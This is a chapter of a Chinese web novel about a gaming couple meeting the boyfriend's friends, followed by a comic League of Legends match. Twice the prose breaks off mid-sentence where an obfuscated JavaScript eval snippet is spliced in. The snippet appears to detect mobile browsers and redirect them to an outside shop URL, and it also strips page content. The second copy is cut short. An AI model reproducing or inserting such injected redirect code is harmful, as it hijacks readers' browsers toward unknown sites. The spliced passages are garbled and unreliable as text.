他最念念不忘的,是顾妄护人的架势,黑外套一裹,严严实实。他努力侦察好半天,结果最后也只瞄到一截小腿。白得晃眼,线条漂亮得离谱。他当场在群里给了个SSS评分。 由于他描述得过于绘声绘色,连腿骨的走向都分析得头头是道,另外两位,当场被说精神了,那天晚上谁都没睡踏实,翻来覆去,都在想同一件事:到底长什么样,才能把顾妄这种人都硬控成这样。 所以今天一早,三个人连懒觉都没睡,直奔顾妄家楼下,准备线下观战。结果顾妄根本不理人。消息已读不回,电话一个不接。门童站得笔直,职业操守满分,三个轮番上阵,连电梯按钮都没摸到。 三个人站在楼下吹了半天冷风,临时开了个三分钟作战会议。最后由李青杨拍板:“以顾妄现在这个上头程度,今天肯定得带人出来消费。” 另外两人半信半疑,但也没有更好的方案。于是三人当场转移阵地,直接来万象城蹲点。 事实证明,李青杨确实挺懂顾妄。顾妄牵着许念刚进商场,就被他们一眼锁定。也不怪他们眼尖,实在是这俩人太扎眼。不过三个人也没急着冲上去,而是整整齐齐趴在二楼围栏边,化身专业街溜子,含情脉脉地目送顾妄牵着人从这家逛到那家。买裤子,买鞋,买衣服,一家接一家,爆金币爆得毫不手软。 三人轮流嘬着一杯冰美式防止犯困。直到看见许念终于拉着顾妄从店里出来,像是准备撤了,三个人对视一眼,决定正式现身。 “红包发一下,我赢了。”李青杨晃了晃手里那杯已经化得只剩冰水的美式,满脸得意:“我说了,顾妄这种人谈恋爱玩不来虚的。不会说软话,不会哄人,顶多就是刷卡。爱的方式比较单一,但胜在舍得又真氪得起。” 沈嘉行一边给他转账一边往下看:“说得像你亲身体验过一样。顾妄什么时候对你这么大方过?” 李青杨:“……” 沈嘉行冷笑一声:“你最多体验过AA制兄弟情。”。” 旁边,许同安推了推眼镜,继续ob:“你昨晚不是说他们吵架了吗?这看着也不像啊。” 楼下两个人一直牵着手,顾妄扣得很紧,许念乖乖跟在旁边。 沈嘉行啧了一声:“这要算吵架,那你跟作业闹别扭都算绝交。”说完他又眯起眼,认真研究许念的背影:“不过说真的,这身材是真有点离谱,纯纯背影杀手。” 许同安点头:“正脸肯定也不差,不然顾妄不可能上头成这样。” 李青杨一听,立刻精神,雄赳赳气昂昂地转身:“你以为我昨晚那个 SSS 评分是乱给的?”他握了下拳,神情郑重:“昨晚情况特殊,只看见小腿。今天高低得把正脸看明白。” 他把杯子往垃圾桶里一扔,抬手一挥:“兄弟们,上。” 顾妄一抬头,就看见那三个人正朝这边过来,脸上的表情蠢得不行。他想都没想,牵着许念转身就走。可惜没走成。那三个人动作比谁都快,左右一绕,转眼就把路堵了个严严实实。顾妄的脸色已经黑得不行。他们硬是当没看见,齐刷刷越过他,视线落到他身边的人身上。 “小鱼妹妹你好——”李青杨张口就是男夹子音,“初次见面,我是【老子今天不上学】。”他话音刚落,视线已经从头到脚把许念扫了一遍,整个人当场卡壳:“……哇。” 许同安立刻接上:“我是【今天放学还打你】。”他也认真看了一眼,然后也卡了:“……哇。” 沈嘉行在旁边挣扎了两秒,还是硬着头皮报了ID:“……我是【AP狗都不学】。”报完那一刻,他自己都替自己脚趾扣地。结果眼神刚一落到许念脸上,下一秒也跟着失语:“……哇。” 三个人同时安静了。你看看我,我看看你,又齐刷刷看向许念,耳根也齐刷刷红了。 许念站在原地,人有点懵。这几个ID一报出来,他就知道这三位是谁了。之前和顾妄双排的时候,这几个人没少锲而不舍地把他们往五排房间里拽。顾妄被烦得没办法,偶尔也会带他进去打两把。可隔着屏幕是一回事,真人站到面前,是另一回事。尤其是现在,这三个人像集体掉线,表情一个比一个呆,词汇量只剩一个字。 哇。 许念心里顿时警铃大作。 完了。 不会是他今天没化妆,素颜把人丑沉默了吧?这个念头一冒出来,许念下意识抿了抿唇。虽然顾妄之前盯着他素颜看了半天,还皱着眉说他平时化妆反而把自己化丑了。可顾妄那人,审美本来就有点问题。这下好了,不仅自己丢脸,还顺带把顾妄也一起拖下水。顾妄以后在兄弟面前,估计都不好意思抬头。 顾妄看他神情不对,眉眼一沉,抬手就把许念往身后一拽,挡得严严实实。 “看够没有?”他声音冷得要命,“别挡路。” 李青杨率先回魂。他转头看看顾妄,又看看许念,表情复杂得不行:“不是,哥们。”他指了指许念,又指了指顾妄,“你这网恋……到底网了个什么回来?” 许念心里咯噔一下,他是有多丑?丑到别人开始怀疑物种了吗? 而顾妄的眼神已经冷到能秒人。李青杨才终于意识到自己这话听着不太对劲,疯狂摆手:“不是不是不是,我不是那个意思!” 沈嘉行在旁边狠狠给了他一肘子,连紧救场:“小鱼妹妹别生气,他脑子刚才短路。他的意思是——”他停了一下,认真看了许念一眼,“你太好看了。” 许同安疯狂点头,像小鸡啄米:“真的!特别特别好看。” 沈嘉行又补一句,语气格外严肃:“校花级别。”他想了想,又摇头:“不对,校花都不一定有你能打。” 许念愣了一下。这三个人脸上的真诚几乎要溢出来,耳朵一个比一个红,怎么看都不像在哄人。他心里那点刚冒出来的容貌焦虑,忽然就散了大半。他小声纠正:“我比你们大。” 李青杨:“啊?” 许同安:“等等……” 沈嘉行:“…….姐姐?” 许念点了下头,三个人同时僵住。 下一秒—— “凭什么?” “凭什么?!” “凭什么?!!” 网恋到校花级别的漂亮姐姐,就算了。 还是个姐姐!漂亮,清冷,会玩软辅,还愿意陪他俯冲铂金。 三个人越想越气,越想越不服,最后,实在气不过,于是他们一气之下—— 就气了一下。 李青杨最先调整好心态,往前凑了一步,当场改口:“姐姐好!”语气热情得像刚上岗的客服:“姐姐渴不渴?饿不饿?要不要加个微信?平时打游戏要是嫌顾妄太烦,我们可以五排啊!” 他越说越上头,现场给自己安排岗位:“顾少打AD,我打野。虽然操作跟他没法比,但钻石局我还是能混一混的,保证死蹲下路,人头全让给姐姐!” “你先把惩戒练明白再说。”沈嘉行一把把他薅开,转头对许念露出一个自以为很帅的笑,“姐姐,你想吃什么?今天这顿我们请,算给嫂子接风。” 嫂子两个字一出来,许念的脸一下子红了。他下意识拽住顾妄卫衣下摆,整个人恨不得当场缩小,最好能变成那种钥匙扣公仔直接塞进顾妄口袋里。 事情忽然变得有点骑虎难下。他一个男的,被这帮小男生一口一个“姐姐”“嫂子”,叫得他头皮发麻。现在还能糊弄过去,等哪天真露馅,这三个人估计能,连夜买站票逃离地球。 顾妄察觉到他的小动作,手一翻,把他的手指扣进掌心里,重新十指紧握。然后掀起眼皮,居高临下地扫了眼前这三只,眼睛黏到许念身上不肯走的癞蛤蟆,冷笑了声:“想请客?” 三个人立刻点头。 下一秒,顾妄手里的几个购物袋已经塞进了他们怀里。 “行。”他说,“前面带路,拎稳点。” 半小时后,一行人坐进了日料店包厢。 三个平时在峡谷里当祖安钢琴家、混身份证进酒吧上蹿下跳的竞男,这会儿坐姿一个比一个端正。虽然没人敢明目张胆盯着许念看,但三双眼睛的余光明显在超负荷运转。 许念坐在顾妄旁边,手里捧着热茶,浑身都不太自在。 “那个……”许同安清了清嗓子,第一个发问,“嫂子,你们俩到底怎么认识的啊?” 许念手一顿,脑子当场卡壳。这要怎么说?总不能说他选了猫,原AD当场红温秒锁中单,把补位的顾妄硬生生挤去AD位,从此顾妄莫名其妙就当上了他的专属猫爬架。 那局游戏一下从记忆里翻出来。悠米挂在克格莫身上,两个人刚好撞了同款皮肤,连炫彩都一模一样——两只小蜜蜂呀,绿到峡谷中呀。游戏刚进去,原AD直接破防。 “乱码哥什么意思?” “带妹不自己包下,来祸害路人AD?” “纯÷是吧?” 许念本来想回一句:不认识,单排,别狗叫。 结果低头一看,自己这只绿炫彩小蜜蜂悠米,正挂在顾妄那只绿炫彩小蜜蜂大嘴身上,大嘴屁股后头那根蜜蜂尾针还一晃一晃的,嚣张得不行。 许念:“……” 就这画面,换谁来看,都觉得他俩有一腿。 他默默把聊天框关了,顺手屏蔽举报。 想起这儿,许念耳朵又有点发热,他下意识偏头去看顾妄,顾妄正拿着热毛巾慢条斯理地擦手,连眼皮都没抬:“网恋。” “这谁不知道啊!”李青杨急得一拍大腿,“我们问的是细节。到底是你先见色起意,还是姐姐先把你拿下?” 包厢瞬间安静,三双眼睛齐刷刷看过来。 许念握着茶杯,指腹微微收紧,这问题他还真答不上来。他知道自己是什么时候动心的,可顾妄是什么时候起的念头,他一直摸不准。他们也没谁认真开过口,稀里糊涂的,就从双排到了今天。 他只记得第一次视频那天,顾妄顶着那张拽脸,隔着屏幕看了他一会儿,然后低低一声:“哦”。从那天起,他们就开始天天视频,天天连麦。 一开始其实有点尴尬。顾妄话少,视频开着也不怎么说,大多数时候只是边打游戏边听他说,偶尔回一句。许念那时候好几次都想说,要不还是关了吧,开着太影响操作,那张脸实在太犯规,声音也一样。他打一会儿就忍不住想瞟一眼,瞟完又得心虚地把视线挪开。 可每次话到嘴边,他又都咽了回去。毕竟谁会舍得把顾妄的脸关掉。 后来慢慢熟了,尴尬也就没了。许念开始什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323614|199095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么都跟他说,今天上课差点睡着,教授打分低得离谱,去打卡的店又难吃又贵……大大小小的事,想到什么就说什么。 顾妄大多数时候还是那几句: “嗯” “然后呢。” “继续。” 听着像敷衍,可许念说什么,他都听着,从没半路走神,也没不耐烦打断过。等许念说完,他偶尔也会讲点自己的事。路上碰见条蠢狗差点扑到他鞋上;朋友又干了什么蠢事;有蠢货抄作业抄得太认真,连他的名字一起抄了上去;再比如谁又烦得他想直接拉黑,结果消息还在那儿一条一条往外蹦。 顾妄嘴里,十件事有九件都挺蠢。他对谁都那样,耐心少,脾气也差。偏偏轮到许念,很多本来一句就能结束的话题,他会多接两句;很多本来可以不听的废话,他也能听到最后。有时候许念自己都觉得说得没什么营养,正准备换个话题,顾妄却慢悠悠问一句:“没了?” 再后来,奔现来得也很突然。 那天是周五晚上,两个人照常挂着视频。顾妄刚洗完澡,头发还是湿的,拿毛巾随手擦了两下,抬眼看向屏幕:“这周六有空吗?” 许念心口轻轻一缩,却还是装得很镇定:“……有。” 顾妄看着他,停了一秒。 “出来。” 就两个字。 许念答应得很快:“好。” 顾妄那边只“嗯”了一声,又低头去擦头发。 包厢里安安静静,三个人还眼巴巴地等着答案。 许念刚想硬着头皮编两句,旁边的顾妄先出了声。 “我追的。” 他说完端起茶杯喝了一口,这才慢悠悠抬起眼,扫了那三个下巴快掉到桌上的损友一圈,眉梢轻轻一挑:“有意见?” “没有。” “完全没有。” “谁敢有。” 三个人否认得一个比一个快。桌子底下,李青杨已经激动得开始踹人,沈嘉行小腿挨了一脚,差点把筷子甩出去,扭头瞪他。李青杨眼睛都在放光,嘴型疯狂乱飞:我就说吧!我就说吧!以前妹子加他好友,他连通过都懒得通过,现在居然韩服分都不上了,只给姐姐打ad,不是他先栽还能是谁! 结果他下一脚太激动,直接踹偏了,顾妄垂下眼,看了眼自己腿边。 李青杨:“……” 他瞬间老实,默默把腿缩了回去,改成用胳膊肘去撞沈嘉行。沈嘉行被他撞得手一滑,筷子直接掉桌上,忍了又忍,到底没敢当着顾妄的面发作,只能转头送他一个“你等着”。 许念坐在旁边,耳边还在回放那句“我追的”,他偷偷偏头看顾妄,顾妄还是那副拽得不行的样子。许念认真回想了两秒,还是没想明白顾妄到底什么时候追过他。但他盯着顾妄看了一会儿,又默默把这个问题咽了回去。 算了。 顾妄说是,那就当是吧。 “那姐姐平时除了娜美和猫,还玩什么?”沈嘉行赶紧换了个话题,“下次五排我们能配阵容,绝对不让姐姐坐牢。” 许念认真想了想自己那点英雄田,刚要开口,顾妄先轻嗤了一声。他夹了块三文鱼刺身放到许念面前的小碟子里,语气凉飕飕的:“用不着你们配合,他对线跟我,打团也跟我。”说完还抬眼补了一句:“你们管好自己。” 三个人:“……” 懂了。 五星级游戏体验,依然轮不到他们。 三个人你一句我一句,嘴就没停过,吵得像三只刚放出来的麻雀。许念原本还有点放不开,听着听着,也被他们逗得弯了弯眼。见美女姐姐脾气软,那三个人更来劲,顺嘴就把顾妄那点事往外抖。从他那张谁都欠他八百万的臭脸,到学校里没断过的情书,再到老师都拿他当门面摆的成绩,乱七八糟说了一桌。 “嫂子,你别看妄哥老玩游戏,”沈嘉行咬着天妇罗,语气还挺得意,“他成绩真不是吹的。老师一直按藤校的标准盯他,过阵子人还得去外服继续杀。” 许念握着茶杯,动作轻轻顿了一下。他低头看着杯子里打转的茶叶,过了两秒,才忽然想起来,顾妄是国际生,以后要出国。 包厢里还闹哄哄的,三个人七嘴八舌地往下接。许念把杯子往唇边送了送,没喝,只是又放了回去。再抬头时,脸上还是那副温温柔柔的笑。“是吗?”他托着下巴,像是随口一问,“那他平时在学校——” 顾妄终于忍无可忍。他把筷子往筷架上一放,声音不重,却足够打断整个包厢的热闹。“闭嘴。”他冷着脸扫了那三个人一眼。“吃饭,吃完赶紧滚。今天之内别再让我看见你们。” 按理说,听到顾少这话,三兄弟就该识趣撤退。可这三个人显然早就摸透了局势。只要抱紧温柔大美女姐姐这条大腿,顾妄那张冷脸就跟防御塔一样——看着吓人,但真要顶着伤害往里冲,也不是不能越一波。于是这顿饭吃到最后,三个人连哄带求,本来“吃完各回各家”的局,硬是被他们磨成了: “开两把就走。” “真两把。” “我们打完立刻原地蒸发。” “保证不当电灯泡。” 沈嘉行一脸正气:“主要是给妄哥一个自证清白的机会。” 许同安点头:“嫂子第一次线下观赛。” 李青杨补刀:“不操作两把,说不过去。韩服千分野王,总得线下露手吧。” 沈嘉行继续拱火:“对,现场验号。不然嫂子以为你是老板号,找代练打的。” 等许念回过神,他们五个人已经整整齐齐坐进了网咖包厢,灵活组排,排队中。 7. 五排车队(1) 李青杨刚把耳机戴好,手就先搓上了,整个人肉眼可见地兴奋起来。“来吧姐姐,”他把麦往嘴边一拉,声音洪亮得不行,“这把你什么都不用操心,安心躺——” 顾妄还低着头在手机上敲键盘,听见这句,眼皮一抬,扫了他一眼。 就一眼。 李青杨汗毛瞬间起立,话当场转弯:“——安心打!安心打!” 他清了清嗓子,坐姿都跟着端正不少,“顾少今天考核局,我们几个纯属顺路蹭分,主打一个陪伴!” 沈嘉行在旁边冷笑:“你刚刚不是想说让姐姐躺赢吗?” “你听错了。”李青杨脸不红心不跳,“我说的是躺着也得努力。” 顾妄懒得听他们狗叫,鼠标一点,重返打野位,直接锁下格雷福斯。 男枪,纯爷们。 教父皮肤一亮,整个屏幕都透着一股“野区我家开的”的嚣张气息。虽然腾讯早就把叼着的那根雪茄和谐成牙签,但那股流氓悍匪味一点没少。 这种味道在峡谷里还有个俗称—— 狐臭味。 男枪这种英雄,味儿是平等的大。对队友有味,对对手更有味。 顺路脏队友一波线是基本操作,装备一领先,对面打野在自己野区就会出现一种神奇现象—— 闻味逃跑,体面点说是被熏出野区。 许同安一看就乐了:“完了,对面野区今天成公共场所了。” 对面打野是蜘蛛。典型节奏打野,抓人狠、越塔猛,但如果野区被男枪反上两轮,节奏一断,这局基本可以提前坐牢。 “野王哥哥这把得给弟妹露一手啊。”李青杨一边表忠心一边秒锁奥恩,语气里充满蓝领上单的觉悟,“我六级前绝不出塔,六级后大招一顶,剩下的全看妄哥操作。等我十四级,第一件装备必须给弟妹打。” 沈嘉行反手锁下发条:“野区你随便玩,我推线站岗。对面蜘蛛敢进你野区,我第一时间给信号。” 李青杨笑了:“你个发条拿头进野区?这把你不被抓成0-10我跟你姓。” 沈嘉行也不恼:“谁说我要过去,我报点不行?” “行。”李青杨点头,“泉水指挥官也是官。” 许同安最省事,开口就一句:“求顾少带飞。” 说完反手锁下母拉拉EZ,下路最经典的单机AD。手长,位移多,清线也安全,自己在塔下混就行。简单来说—— 不需要辅助。 许同安态度摆得非常端正:确保自己在下路和嫂子清清白白,嫂子的奶全部留给妄哥,绝不当第三者。撑死只能做姐妹。 “嫂子六级以后看情况跟妄哥游走就行,不用管我。”他语气极其卑微,“我自己在下路混,补得到刀算赚,补不到算我菜。” 语音频道里吵成一团,许念被他们逗得没忍住笑了一下。他偏头看了眼顾妄的皮肤,顺手把自己的换成魅惑女巫娜美的黑色炫彩:漆黑的女巫帽,墨紫色鱼尾,手里拎着一盏幽幽发亮的黑南瓜灯。加载界面跳出来的时候,教父男枪和女巫鱼并排站着:一个嘴里叼着牙签,一个手里提着南瓜灯。看起来不像来打排位的,倒像半夜准备去金库踩点的亡命鸳鸯。 沈嘉行扫了一眼阵容,先乐了。“行了,这把不用看别的了。”他往椅背上一靠,慢悠悠补了一句:“就看狐臭男味儿能冲成什么样。” 蜘蛛F6开,顾妄一进游戏就给沈嘉行的中路提前下了死亡通知书:“蜘蛛抓中。”不到三分钟,他把镜头往中路一切,在沈嘉行塔边连点一排黄色警告信号。信号刚落,语音里已经炸了。“哥——!!他在我脸上!!” 沈嘉行声音都变形了。 顾妄面无表情:“知道。” 救人? 不存在的。 收保护费更重要。 男枪提着散弹枪直接E进蜘蛛上半野区,蓝Buff、三狼一路抄家。刷完原地回城,战锤一掏,发育节奏直接领先。 而中路这边,沈嘉行因为开局就被顾妄写进“死亡笔记”,早早化身塔之子,补刀随缘,手指永远按在闪现上,主打一个宁可少补十个刀,也绝不赌自己能不能躲开蜘蛛的结茧。 蜘蛛在中路晃了半天,发条缩在塔下像只王八,毫无机会。没抓到人不说,还被沈嘉行QW磨掉三分之一血。蜘蛛站在河道,人都麻了,上半区大概率已经被掏空,现在回去还可能撞上狐臭男蹲自己,想来想去,只能灰溜溜往下半河道钻,把河蟹惩了,先给自己续一口命。 结果他吃完河蟹,刚拐到自己的F6,一抬头,顾妄正叼着牙签站在坑边,慢悠悠地等着他。补过装备的男枪等级已经领先一级半,散弹枪往肩上一架,往那儿一站,连脚下那片野区都像跟着改了姓。 蜘蛛站在原地沉默了两秒,最后默默钻进旁边草丛蹲下了。姿势熟练得让人心疼,像个眼睁睁看着家里遭贼、却连110都不敢打的倒霉户主。顾妄连惩戒都懒得交,小鸡一只只清过去,动作慢条斯理,不像反野,像回自己家刷第二轮。蜘蛛蹲在草里看着,越看越憋屈,越憋屈越不敢动,最后整个人都快缩成一团了。 对面中单忽然在语音里吼了一句:“兄弟撑住,我来了。” 兄弟局最见不得兄弟受欺负。对面中单兵线都不要了,推完就往野区冲,气势汹汹准备替兄弟讨个说法。结果人刚钻进隘口,顾妄反手一颗烟幕弹糊脸,屏幕当场一黑,对面中单方向都没摸明白,男枪已经E了上来,贴脸三枪接Q,子弹一收,人直接蒸发,别说讨说法了,连句“兄弟我又走了”都没喊完整,人先回泉水了。蜘蛛见好兄弟当场白给,怒从心头起,恶向胆边生,直接扑上去想换掉半血男枪。十秒后,两人在泉水相见。李青杨第一个笑出声:“可以啊,对面中野双向奔赴,兄弟感情挺深。” 顾妄没理他们,转头去刷自家下半区。许念的娜美正好从河道游过来,小鱼尾巴一甩,隔着墙一个W弹了过去,水花落在男枪头上。其实顾妄早就把野清完了,人没走,就站在原地,等那口奶。水花落下来,他才低低应了一声:“嗯。” 这才转身走人。 沈嘉行看了眼男枪脚下的红Buff,又看了眼那几乎可以忽略不计的掉血,顿时酸得牙都快碎了:“姐姐,你别理他。他刷野本来就不掉血。这人八成是卡着你回线时间,故意站那儿让野怪啃两口。” 许念耳朵微微一热,还是开口替顾妄解释:“不是他故意的。”他说完抿了下唇,声音更轻了一点,“……是我让他等我奶一下。” 顾妄这回终于出了声:“你很闲?” “……不闲。” 沈嘉行立刻闭嘴。 与此同时,对面打野正坐在泉水里发呆。隔了两秒,他切出去查了一眼顾妄的战绩,再回来时冷笑了一声,公屏啪地跳出两行字: 【狐臭男,搞我是吧?】 【行,我搞你兄弟。】 蜘蛛说到做到,复活出来直奔上路。中单太龟,下路太滑,算来算去,只剩上路那只胖羊羊最好下嘴。 李青杨这会儿正和石头人在上路和平共处。兵线推过来,石头人补一个刀,他补一个刀;石头人A一下兵,他也A一下兵。两个人脸贴脸补刀,打野不来,连象征性互锤两拳都懒得演。 这把本来就是标准对混局。奥恩对石头人,两坨肉往上路一摆。谁也别想单杀谁,谁也别想被单杀。主打一个养老送终式发育。除非打野路过,石头人才会象征性请羊吃一口车轮饼,羊也很有礼貌地回头顶一下。双方点到为止。主要是演给打野看:我们没挂机。等团战开了,再双双往人堆里一砸,把这身肥肉交给自家大爹验收,这把就算交差。 结果下一秒,蜘蛛从草里钻出来了。李青杨反应不慢,转头就往塔下跑。可对面石头人已经闪现上来,一个E拍脸减速,蜘蛛结茧跟上,屏幕瞬间黑白。 “……” 李青杨幽幽开口:“不是,他凭什么抓我啊?” 沈嘉行回答得很快:“因为你好抓。” 许同安补刀:“而且长得也像三百块。” 李青杨:“……” 他复活以后又老老实实回线上补兵,对面石头人也继续补刀,场面重新恢复那种谁都没想弄死谁的和谐。李青杨刚松口气,三十秒后,蜘蛛又来了,这次连草都不蹲,直接从河道大摇大摆走上来。 李青杨声音都变了:“不是吧?!” 话音刚落,石头人大招已经砸下来,屏幕再次一灰。 沈嘉行慢吞吞接上:“他刚刚不是说了吗,搞狐臭男兄弟。” 许同安跟着补充:“兄弟就是你。” 李青杨:“……” 等李青杨第四次从泉水里出来,终于忍无可忍,切到公屏敲字: 【蜘蛛,别暗恋哥】 【没结果。】 发完这句,他立刻切回语音开始嚎:“父皇速来!看看你大儿子在上面被欺负成啥样了!再晚一点我就只剩羊毛了!” 顾妄正顺手收下刚刷新的小龙,听见鬼哭狼嚎,切屏看了一眼上路,战绩栏上那个0-4扎眼得不行。他连表情都没变,冷冷丢过去两个字:“别送。”说完镜头切回去,头也不回地往下路走,顺手看了许念一眼:“跟我。” “好。” 许念立刻应了一声。 娜美的w刚转好,一道水流轻轻弹到男枪身上,把那点掉下去的血抬了回来。小鱼摆着尾巴跟在那个叼着牙签的男枪后面,一前一后贴得很近,乖得像个寸步不离的小挂件。 李青杨:“……” 他盯着小地图上那个完全没有北上意图的头像,沉默了两秒。 呵呵。 自家打野现在已经彻底转职成下路专属保安。换作以前,顾妄反完野高低还得继续蹲蜘蛛,把对面打野逼到想卸载游戏。现在倒好,上半区他连眼角余光都懒得分一个,野区低保都大大方方留给蜘蛛,自己刷完三片野,就准时往下路二塔旁边的草丛一钻,蹲得比上班打卡还准。至于上路那个肉质鲜美、行走的三百块、会自己补兵也会自己死的胖羊羊——李青杨,已经被他打包捐给对面打野。 这会儿李青杨亲眼看着蜘蛛钻进自己旁边的一草,整个人往椅背上一靠,声音幽幽地从麦里飘出来,像刚从地府窗口办完业务回来:“顾少。” 没人理他。 “顾少,你不觉得下路有点挤吗?” 顾妄还是没说话。 李青杨的声音继续幽幽往下飘:“三个人,是不会有好结局的。”他停顿了一下,语气突然悲壮起来:“来上路吧,爸。” “只要你肯看我一眼,我给你磕头都行。” “真的。” 许同安第一个跳出来投反对票。作为全场发育最舒服的人,他现在正美滋滋地享受帝王待遇:一塔镀层没人抢,整波兵线没人分,下路一切岁月静好。而狐臭男这会儿正带着他老婆,双双蹲在对面下路二塔旁边的草丛里。 许同安立刻回怼:“李青杨你能不能懂点事,胡说什么呢?” “我爸我妈在草丛里谈恋爱呢,挤什么挤?” “你个孤儿羊滚一边啃草去,别破坏别人家庭和谐。” 下一波兵线刚到,对面AD在二塔中间来回踱步,左右试探,最后还是咬着牙往塔下走,打算赌一把。结果人还没摸到兵,男枪已经从草里E了出来,烟幕弹一扔,屏幕瞬间一黑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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下一秒,召唤师峡谷迎来了史诗级公屏钢琴大赛。喷人的输出频率、节奏感和连招流畅度,比这局游戏里五个人打出来的伤害加起来还高。蜘蛛干脆不刷野了,停在野区原地打字;石头人也不动了,站在上路原地跳舞,顺便加入公屏大战。整个峡谷瞬间热闹得像过年。 好家伙。李青杨本来只是嘴贱两句,准备继续回上路坐牢。毕竟灵活排位里五排互撞本来就是家常便饭,这种程度的拱火,按理说根本离间不了。谁知道这把不是正经五排,对面是个三加二拼车局——上中野三排,下路两个双排。李青杨这一把火顺着网线,精准烧进了对面下路双排兄弟的肺管子。 时间来到15:01,对面水晶准时爆炸。 沈嘉行整个人都懵了:“不是,我这发条大招还没拉五个呢,这就赢了?” 许同安嘿嘿一笑,指着战绩表说:“你看看人家青杨,这波叫献祭上单打法。配合心理战攻势,凭一己之力离间对面。” 李青杨此时已经彻底扬眉吐气。他往电竞椅上一靠,双手枕在脑后,看着自己那惨不忍睹的0-4-0战绩,表情却异常满足。 “看到没?这就叫专业。” “这把MVP,我实至名归。” “谁赞成,谁反对?” 没人理他。 顾妄已经摘下耳机,视线很自然地落在许念身上:“要喝东西吗?” 许念本来还在听他们胡扯,笑得肩膀都在轻轻发抖。结果顾妄一看过来,他脸一下就热了。想躲,目光却还是不争气地黏在顾妄脸上,怎么都挪不开。顾妄侧脸线条分明,鼻梁很高,唇角压着一点漫不经心的弧度。连低头摘耳机这种动作,在他身上都显得格外帅气。 许念盯了两秒,耳根先红了,只能小声说:“不用……” 顾妄看了他一眼,没说什么。下一秒手机震了一下,他低头接起来,只回了一个字:“好。” 没过多久,网咖工作人员拎着外卖推门进来,五杯奶茶,一字排开放在桌上:荔浦芋圆加米麻薯,三分糖。一看就知道是谁的口味,剩下那四杯纯属沾光陪跑。 许念低头看着奶茶标签,指尖在冰凉的杯壁上轻轻蹭了一下,脸更红了。为了见顾妄,他这阵子已经节食了很久,奶茶更是碰都没敢碰,连自己都快忘了之前随口提过这一款,结果顾妄却记得清清楚楚。 李青杨下意识张嘴:“兄dei咋不给我点杯手打柠檬——”话说到一半,他刚好撞上顾妄扫过来的视线,那点多余的诉求瞬间死在喉咙里。下一秒他脑子里已经飞快闪过无数种结局:比如顾妄冷冷来一句“你没长手?”;又比如更直接一点,“行,下把你继续一个人闻经验”。 求生欲在这一刻完胜口腹之欲。李青杨硬生生把那个“茶”字咽了回去,低头抓起桌上的奶茶猛吸了一大口,结果芋泥太厚,差点当场把他送走。捂着嗓子咳了半天,最后低头看着手里那杯三分糖,只觉得喝进嘴里的每一口都带着点单身狗特有的苦涩。 顾妄修长的手指在桌面轻轻敲了敲,语气不咸不淡,听不出是在提醒谁:“喝慢点。别等会儿打游戏手抖,技能全空。” 李青杨捧着奶茶不敢吭声。 许念低头咬住吸管,甜味刚入口,耳朵就更热了。 他小声说:“……谢谢。” 顾妄“嗯”了一声,顺手捏了捏他的脸。 许念一下僵住,捧着奶茶杯没动,耳朵连着脖子一起红了。吸管还咬在嘴里,人却像突然不会喝了一样,连眼睛都不知道该往哪放,只能低头装作认真研究杯壁上的标签。 一屋子人顿时谁都不再吭声,包厢里只剩下此起彼伏吸芋泥的声音,和三个单身汉被当场秀沉默后格外安静的呼吸声。